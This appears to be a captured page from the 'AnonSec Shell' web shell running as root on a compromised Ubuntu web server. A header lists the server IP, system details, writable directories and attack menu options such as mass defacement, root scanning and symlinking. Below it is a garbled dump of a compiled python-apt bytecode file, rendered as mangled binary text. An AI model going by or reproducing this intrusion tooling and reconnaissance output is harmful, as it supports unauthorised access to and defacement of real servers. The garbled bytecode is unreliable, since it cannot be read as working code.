AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/aptsources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/aptsources/__pycache__/sourceslist.cpython-310.pyc
o

4��f1J�@sddlmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZgd�Z
dd�Zdd	�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZGdd�de�Zedkr�e
��e�ZeD]Ze�de���qcedd�Ze�de�e�edd��e�edd��dSdS)�)�absolute_import�print_functionN�)�DistInfo)�	is_mirror�SourceEntry�NullMatcher�SourcesList�SourceEntryMatchercCs�|�d�}|�d�}||krdSz|�d�d}|�d�d}Wn
ty*YdSwd|vr>||�d�dd�|kr>dSdS)z� check if the given add_url is idential or a mirror of orig_uri e.g.:
        master_uri = archive.ubuntu.com
        compare_uri = de.archive.ubuntu.com
        -> True
    z/ Tz//rF�.N)�rstrip�split�
IndexError�index)�
master_uri�compare_uri�compare_srv�
master_srv�r�8/usr/lib/python3/dist-packages/aptsources/sourceslist.pyr.s

�rcCstt|��S)a. simple and efficient way to return uniq collection

    This is not intended for use with a SourceList. It is provided
    for internal use only. It does not have a leading underscore to
    not break any old code that uses it; but it should not be used
    in new code (and is not listed in __all__).)�list�set��srrr�uniqLsrc@sJeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)rz single sources.list entry NcCs|d|_d|_d|_g|_d|_d|_d|_g|_d|_||_	|dur.t
j�d�t
j�
d�}||_|�|�d|_g|_dS)NF�zDir::Etc�Dir::Etc::sourcelist)�invalid�disabled�type�
architectures�trusted�uri�dist�comps�comment�line�apt_pkg�config�find_dir�find�file�parse�template�children)�selfr&r+rrr�__init__Ys(�
�

zSourceEntry.__init__cCsH|j|jko#|j|jko#|j�d�|j�d�ko#|j|jko#|j|jkS)z- equal operator for two sources.list entries �/)rrr"rr#r$)r/�otherrrr�__eq__ls
��
�
�zSourceEntry.__eq__cCs�|��}g}d}d}d}tt|��D]U}||dkr3|r*d}d}|�|�||}qd}|||7}q||dkrBd}|||7}q|rV||��sVd}|�|�||}q||��ra|sad}q|||7}qt|�dkrs|�|�|S)z� a split() implementation that understands the sources.list
            format better and takes [] into account (for e.g. cdroms) rF�[T�]r)�strip�range�len�append�isspace)r/r&�pieces�tmp�p_found�space_found�irrr�mysplitts6




zSourceEntry.mysplitc	Cs�||_|��}|dks|dkrd|_dS|ddkr8d|_|dd�����}|ddvr2d|_dS|dd�}|�d�}|dkrP||dd�|_|d|�}|�|�}t|�dkr`d|_dS|d��|_	|j	d	vrqd|_dS|d��dd
kr�|�
d��d���}|D]2}z
|�dd�\}}Wnty�d|_Yq�w|d
kr�|�d�|_q�|dkr�t
�|�|_q�d|_q�|d��|_t|j�dkr�d|_|d��|_t|�dkr�|dd�|_dSg|_dS)z^ parse a given sources.list (textual) line and break it up
            into the field we have r�#TNrr)�rpm�rpm-src�deb�deb-src�)rDrErBrCr4z[]�=�arch�,r!�)r&r6rrr
r*r%r@r8r�pop�	Exceptionr r'�string_to_boolr!r"r#r$)r/r&r;r?�options�option�key�valuerrrr,�sX



�
zSourceEntry.parsecCsH||_|r|j���d�|_dS|j��ddkr"d|j|_dSdS)z# set a line to enabled or disabled rArN)rr&�lstripr6)r/�	new_valuerrr�set_enabled�s�zSourceEntry.set_enabledcCs|����S)z debug helper )�strr6)r/rrr�__str__�szSourceEntry.__str__cCs�|jr|jSd}|jr
d}||j7}|jr,|jdur,|dd�|j�|jr&dndf7}n|jdur=|d|jr8dnd7}n
|jrJ|d	d�|j�7}|d
|j|jf7}t	|j
�dkre|dd�|j
�7}|jdkrq|d
|j7}|d7}|S)z# return the current line as string rz# Nz [arch=%s trusted=%s]rI�yes�noz
 [trusted=%s]z
 [arch=%s]z %s %sr� z #�
)rr&rrr r!�joinr"r#r8r$r%)r/r&rrrrU�s*

�

zSourceEntry.str�N)�__name__�
__module__�__qualname__�__doc__r0r3r@r,rTrVrUrrrrrVs
%@rc@seZdZdZdd�ZdS)rz a Matcher that does nothing cCsdS)NTr)r/rrrr�matchszNullMatcher.matchN)r]r^r_r`rarrrrrsrc@szeZdZdZ		ddd�Zdd�Zdd	�Zd
d�Zdd
dgfdd�Zdd�Z	dd�Z
ddd�Zdd�Zdd�Z
dd�ZdS)r	z8 represents the full sources.list + sources.list.d file T� /usr/share/python-apt/templates/cCs*g|_|rt|�|_nt�|_|��dSr\)rr
�matcherr�refresh)r/�withMatcher�matcherPathrrrr0s
zSourcesList.__init__cCstg|_tj�d�}tj�|�r|�|�tj�d�}t	�	d|�D]}|�|�q!|jD]}|j
s7|j�|�q,dS)z" update the list of known entries r�Dir::Etc::sourceparts�	%s/*.listN)
rr'r(�	find_file�os�path�exists�loadr)�globrrcra)r/r+�partsdir�sourcerrrrds

��zSourcesList.refreshccs�|jD]}|VqdS)zM simple iterator to go over self.list, returns SourceEntry
            types N)r)r/�entryrrr�__iter__&s�
�zSourcesList.__iter__c/sn���dd�}|jD]*�|r|�d��j�d�krq
t��fdd��D��r4t�fdd�|D��r4�Vq
dS)Nr"r1c3s"�|]}t�|��|kVqdSr\)�getattr)�.0rP��attrsrprr�	<genexpr>1s� z%SourcesList.__find.<locals>.<genexpr>c3s�|]}|��VqdSr\r)rt�	predicate)rprrrw2��)rKrrr"�all)r/�
predicatesrvr"rrur�__find,s�
���zSourcesList.__findr���Nc	s�|��}|�d�}	|	r|dd���}t���|dd�}
|j�fdd�|	d|||d�}|D]}|
D]}
|
|jvrK|
|
�|
�=t|
�dkrK|Sq2q.|j�fd	d�d|||d
�}|D]1}|j|	kryt|j�t|
�krut	|j|
�|_|S|jr�|	s�t|j�t|
�kr�d|_|Sq]|	r�dnd|�r�dd
�
��nd||g}|�|
�|r�|�d|�d�
dd�|D��d}t
|�}|dur�||_|j�|�|dkr�|j�|�|S|j�||�|S)z�
        Add a new source to the sources.list.
        The method will search for existing matching repos and will try to
        reuse them as far as possible
        rArNc�t|j��kSr\�rr r�r rr�<lambda>E�z!SourcesList.add.<locals>.<lambda>F)rrrr"r#rcr~r\rrr�rrr�Rr�)rrr"r#rz	[arch=%s]rIrYcss�|]}|r|VqdSr\r)rt�partrrrrwkryz"SourcesList.add.<locals>.<genexpr>rZ)r6�
startswithrRr�_SourcesList__findr$rr8rrr[�extendr9rr+rcrar�insert)r/rr"r#�
orig_compsr%�posr+r rr$�sourcesrp�new_comp�partsr&�	new_entryrr�r�add5sd
�
���

�
�
�zSourcesList.addcCs|j�|�dS)z2 remove the specified entry from the sources.list N)r�remove)r/�source_entryrrrr�wszSourcesList.removecCs|tj�d�}tj�||�rtj�|�rt�|||�tj�d�}t	�	d|�D]}tj�||�r;t�|||�q)dS)z: restore sources.list files based on the backup extension rrgrhN)
r'r(rirjrkrl�shutil�copyr)rn)r/�
backup_extr+rorrr�restore_backup{s��zSourcesList.restore_backupcCsXt�}|durt�d�}|jD]}|j|vr)tj�|j�r)t�	|jd|j|f�q|S)z� make a backup of the current source files, if no backup extension
            is given, the current date/time is used (and returned) Nz%y%m%d.%H%Mz%s%s)
r�time�strftimerr+rjrkrlr�r�)r/r��already_backupedrprrr�backup�s


��zSourcesList.backupcCsxz*t|d��}|D]
}t||�}|j�|�q	Wd�WdS1s#wYWdSty;t�d|�YdSw)z (re)load the current sources �rNzcould not open file '%s'
)�openrrr9rL�logging�warning)r/r+�fr&rprrrrm�s
�&��zSourcesList.loadc	Cs�i}t|j�dkr.tj�d�}d}t|d��}|�|�Wd�dS1s'wYdSz,|jD]}|j|vrBt|jd�||j<||j�|���q2W|D]}||�	�qPdS|D]}||�	�q]w)z save the current sources rrz�## See sources.list(5) for more information, especialy
# Remember that you can only use http, ftp or file URIs
# CDROMs are managed through the apt-cdrom tool.
�wN)
r8rr'r(rir��writer+rU�close)r/�filesrk�headerr�rprrr�save�s,�
��

���zSourcesList.savecCsrg}i}|D].}|jdurq|jjr'|j}||vrg||<||}|�|�qt|jj�dkr4|�|�q||fS)z5get all parent and child channels in the sources listNr)r-�childr9r8r.)r/�sources_list�parents�used_child_templatesrprP�temprrr�check_for_relations�s

�zSourcesList.check_for_relations)Trbr\)r]r^r_r`r0rdrrr�r�r�r�r�rmr�r�rrrrr		s"
�
	
�B

r	c@s eZdZdZdd�Zdd�ZdS)r
z} matcher class to make a source entry look nice
        lots of predefined matchers to make it i18n/gettext friendly
        cCsrg|_t�d|�}|D]*}tj�|�}|�d�}|d|�}t||d�}|jD]
}|jdur5|j�|�q(qdS)Nz	%s/*.infoz.infor)�base_dir)	�	templatesrnrjrk�basenamer*r�	match_urir9)r/rf�
spec_filesr�r?r#r-rrrr0�s


��zSourceEntryMatcher.__init__cCs�d}|jD];}t�|j|j�r*t�|j|j�r*|j|jks"|jdkr*d}||_	|S|�
|j�r@t�|j|j�r@d}||_	|Sq|S)z%Add a matching template to the sourceFrDT)r��re�searchr�r"ra�
match_namer#rr-r)r/rp�foundr-rrrra�s&
����zSourceEntryMatcher.matchN)r]r^r_r`r0rarrrrr
�sr
�__main__zentry %sz!http://archive.ubuntu.com/ubuntu/z$http://de.archive.ubuntu.com/ubuntu/zis_mirror(): %sz http://archive.ubuntu.com/ubuntuz#http://de.archive.ubuntu.com/ubuntu)�
__future__rrrnr��os.pathrjr�r�r�r'�distinfor�__all__rr�objectrrr	r
r]�init_configr�rq�inforU�mirrorrrrr�<module>sD
-E(��
��

Anon7 - 2022
AnonSec Team